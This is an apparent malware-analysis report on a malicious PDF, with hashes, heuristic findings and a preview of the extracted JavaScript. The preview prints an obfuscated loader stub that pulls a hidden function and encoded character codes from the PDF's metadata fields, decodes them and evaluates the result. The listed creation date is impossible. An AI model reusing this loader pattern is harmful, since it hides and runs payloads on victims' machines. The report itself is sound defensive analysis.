Malicious PDF — malware analysis report

Static analysis result for SHA-256 aac091e2ffdffdc1…

MALICIOUS

PDF

17.9 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-07
MD5: 070975faacc9cc2fa9ce6583778b7f35 SHA-1: 44da26b243aa9a4ab43afc4800d6304f47ff68c5 SHA-256: aac091e2ffdffdc1965b64f326271ba854c277ef0e894ba9b8fdcd51c48c44e2
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flagged this PDF as malicious. The JavaScript stream, named 'javascript_obj0001_000.js', is the primary artifact. While the exact script functionality is not detailed, its presence and the ML score suggest it's designed to execute arbitrary code, likely downloading and running a second-stage payload. The use of String.fromCharCode further obfuscates the script's content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x4530 367 bytes
SHA-256: 408935189e4e22d8a25a467f66e4877f4fbbeb5b7cba71d852c747afafe99c2d
Preview script
First 1,000 lines of the extracted script
var w = 4;
var gievb = this.title.replace(/w/g,'*w,');
gievb = gievb.replace(/t/g,'2');
gievb=gievb.substr(0,gievb.length-2) + ']';
crsxx=function(){return function(){return this}()}();
gcp=crsxx[this.subject];
fgzh=gcp(this.producer);
mlulv = gcp(gievb);
var s = '';
for (i = 0; i < mlulv.length; i++) {
	wosx = mlulv[i];
	s += fgzh(wosx);
}
gcp(s);

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